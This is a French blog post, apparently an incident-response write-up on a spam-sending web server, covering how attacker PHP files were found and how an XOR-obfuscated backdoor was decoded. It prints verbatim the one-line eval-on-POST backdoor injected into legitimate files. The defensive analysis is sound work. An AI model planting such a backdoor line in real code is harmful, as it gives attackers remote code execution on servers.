Récemment on a demandé mon aide pour analyser un serveur web sur lequel une intrusion avait vraisemblablement eu lieu puisque le serveur était exploité pour l'envoi de spam.
Ce n'est jamais agréable de recevoir du spam dans sa boite mail électronique mais se retrouver malgré soit l'expéditeur de ces messages a des inconvénients supplémentaires, en particulier se retrouver avec un serveur dont l'adresse IP est blacklistée.
Les envois de mails licites se retrouvent alors eux aussi bloqués et il est possible que certains navigateurs ou moteurs de recherche donnent un caractère néfaste aux sites hébergés sur le serveur (exemple, le message "potentiellement dangereux" que retourne Google sur certains sites).
Bref ça rend la vie difficile.
Première hypothèsesIl y avait plusieurs facteurs possibles d'intrusion, allant du brute force de compte, de la mauvaise configuration du serveur mail à une exploitation d'une faille web sur un site hébergé.
Après avoir pris connaissance de l'affaire et après pas mal de réflexion, c'est sur la troisième piste que je me suis penché.
L'envoi de mail étant effectué depuis localhost d'après les entêtes des spams et les logs du serveur mail, j'ai rapidement pensé à la
fonction mail() de PHP.
Recherche du coupableA l'aide des commandes find et grep, on obtient rapidement une liste de scripts PHP "suspects" pour notre analyse :
find /usr/local/www/ -type f -name "*.php" | xargs grep "mail(" -l
Cette recherche a effectivement permis de révéler le site concerné par l'intrusion et la présence de deux fichiers PHP laissés par un pirate.
Le premier fichier est une espèce de script RPC fait maison. Il contient tout un tas de fonctions au rôle varié.
Lors d'une requête, un switch/case sur la query string est faite et permet de déterminer quelle fonction sera appelée.
Le script dispose aussi d'une fonction
get_params qui se charge d'instancier une variable pour chaque paramètre POST soumis.
Chacune des fonctions d'action se charge de récupérer et d'utiliser les variables en question dans un but précis.
On y trouve :
- L'envoi de spam via la fonction mail()
- Une fonction de "ping" qui retourne un identifiant (permettant au pirate de suivre l'état de ses sites infectés comme pour un botnet)
- Une fonction de relais via fsockopen qui permet de router une requête d'envoi de spam vers un autre site infecté
- Des fonctions permettant d'accéder à des comptes IMAP distant via le jeu de fonctions PHP imap_
On a donc retrouvé l'origine du spam

On trouve aussi dans les fichiers licites des lignes de code qui ont été ajoutés en début de fichier. Toutes sont faites sur le même modèle (seule le nom de la variable, qui commence toujours par la lettre p, change) :
<?php error_reporting(0);if(isset($_POST['p899458'])){eval(stripslashes($_POST['p899458']);unset($_POST['p899458']);exit();}?>
Analyse de code malicieuxMais ce qui m'a le plus intrigué, c'était
un script PHP largement obfusqué qui faisait plus ressembler le code à une variante du
langage BrainFuck qu'à du PHP


Les premières étapes du déchiffrement de ce fichier sont simples : il suffit de remplacer l'appel eval() final par un echo() et de faire interpréter le code :
php evil.php > out1.php
On obtient un code tout aussi obfusqué, à la différence que le script commence à récupérer les tableaux de paramètres HTTP ($_GET, $_POST et $_COOKIE).
On procède à la même modification (changer eval() en echo()) puis on fait interpréter ce nouveau code :
php out1.php > out2.php
Ce nouveau script contient toujours du code encodé mais on touche au but : on découvre une nouvelle fonction baptisée decrypt() qui est en fait une opération de XOR et qui prend en paramètre la chaine à décoder et une clé de déchiffrement.
function decrypt($e,$k)
{
if(!$k) {return;}
$el=@strlen($e);
$kl=@strlen($k);
$rl=$el%$kl;
$fl=$el-$rl;
for($o=0;$o<$fl;$o+=$kl)
{
$p=@substr($e,$o,$kl);
$d.="$k"^"$p";
}
if($rl)
{
$p=@substr($e,$fl,$rl);
$k=@substr($k,0,$rl);
$d.="$k"^"$p";
}
return($d);
}
Bien sûr on ne dispose pas de la clé de déchiffrement (le pirate est prudent). On commente la fin du code et on ajoute echo($d); pour obtenir les données chiffrées.
php out2.php > data
Les données récupérées ne ressemblent effectivement à rien de connu mais le chiffrement par XOR est facilement cassable par simple analyse de fréquence d'apparition des caractères.
La première étape consiste à trouver la longueur de la chaine qui a été utilisée.
Pour cela on va émettre l'hypothèse que la longueur de la clé est de 1 caractère, puis 2, puis 3 etc. A chaque fois on découpe les données chiffrées en blocs de cette même taille.
Pour chaque bloc, on prend par exemple le premier caractère et sur cet ensemble on compte le nombre de caractères différents.
Sachant que le contenu déchiffré correspond à du code PHP (puisque passé à eval()) on sait par avance que le jeu de caractère sera quasi-exclusivement des caractères ASCII imprimables.
Qui plus est on peut imaginer que l'auteur du code a condensé on code avant de le chiffrer (retrait des retours à la ligne, des espaces) et a utilisé peu de majuscules.
Par conséquence il nous suffit de voir pour quelle taille de clé on obtient le nombre de caractères le plus petit.
Pour cela j'ai écrit le petit script Python suivant :
#!/usr/bin/python
with open("data") as fd:
buf = fd.read()
for key_len in range(1, 17):
ll = [[] for __ in range(key_len)]
nb_blocks = len(buf) / key_len
for i in range(nb_blocks):
block = buf[i*key_len:i*key_len + key_len]
for j in range(key_len):
if not block[j] in ll[j]:
ll[j].append(block[j])
print "nb de caracteres differents pour une longueur de", key_len, ':'
for x in range(key_len):
print len(ll[x])
Pour une longueur de clé de 12 caractères on voit clairement un affaiblissement dans le nombre de caractères différents (autour de 46 contre environ 95 pour les longueurs de 11 et 13).
L'étape suivante consiste à casser la clé en testant un caractère pour chaque position de la clé. Si pour un caractère donné on obtient du code imprimable correspondant à du PHP alors c'est qu'on est près.
J'ai fait un code qui m'a permis d'obtenir très grossièrement les caractères possibles (une majuscule par ici, une minuscule par là) mais je ne voulais pas me casser la tête là dessus alors je suis allé chercher un programme pour faire ça.
C'est comme ça que j'ai découvert l'excellent
xor-analyze 
Une fois ce programme téléchargé, il faut le désarchiver et le compiler :
tar zxvf xor-analyze-0.5.tar.gz
cd xor-analyze-0.5/
make
Le logiciel a un côté pédagogique amusant : pour pouvoir l'utiliser il faut compiler un programme C qui calcule des fréquences de caractère qui est lui même protégé par un chiffrement XOR.
Pour trouver la clé on utilise le fichier de fréquence fourni pour le langage C :
./xor-analyze tests/freq.c.xor freq/linux-2.2.14-int-m0.freq
On obtient le résultat suivant :
xor-analyze version 0.5 by Thomas Habets <thomas@habets.pp.se>
Counting coincidences... 20 / 20
Key length is probably 6 (or a factor of it)
Finding key based on byte frequency... 6 / 6
Checking redundancy... 100.00 %
Probable key: "keffos"
On peut donc déchiffrer le code C avec la commande suivante :
./xor-dec keffos tests/freq.c.xor freq.c
Après l'avoir compilé (gcc -o gen-freq freq.c), il faut que l'on génère un fichier de fréquence pour le langage qui nous intéresse, à savoir le PHP.
Sur ma machine j'ai le code de
DVWA qui traine (pour que
Wapiti se fasse les dents), on va se baser sur son code :
find /srv/www/htdocs/vuln/dvwa/ -name "*.php" | ./gen-freq > freq/php.freq
On passe alors notre mystérieux fichier à la moulinette :
./xor-analyze data freq/php.freq
Résultat obtenu :
Counting coincidences... 20 / 20
Key length is probably 12 (or a factor of it)
Finding key based on byte frequency... 12 / 12
Checking redundancy... 100.00 %
Probable key: "SjJVkE6rkRYj"
Décodage final du fichier :
./xor-dec SjJVkE6rkRYj data final.php
Ce fichier est clairement une backdoor laissée par le pirate qui lui permet d'exécuter des commandes via les commandes exec/system/passthru et compagnie (le code choisi la première disponible).
Il y a aussi une fonction de téléchargement très basique nommée
x_superfetch qui se base sur fsockopen.
Sécurisation de la scène du crimeLe suppression de l'accès du pirate a consisté à supprimer ces deux fichiers et désinfecter les autres fichiers (utilisation combinée de find, xargs et sed).
Une analyse du site n'a pas révélé de failles de sécurité qui aurait permis au pirate de placer ses fichiers. Le pirate ayant son accès de longue date (d'après les dates de fichier + les logs HTTP disponibles), il a vraisemblablement exploité une faille dans une ancienne version du site.
La recommandation a été faite de désactiver
les fonctions PHP étant considérées comme dangereuses avant d'éviter que ce type d'incident se reproduise.
PS: Le pirate utilisait systématiquement soit des relais Tor soit des VPN afin de dissimuler son IP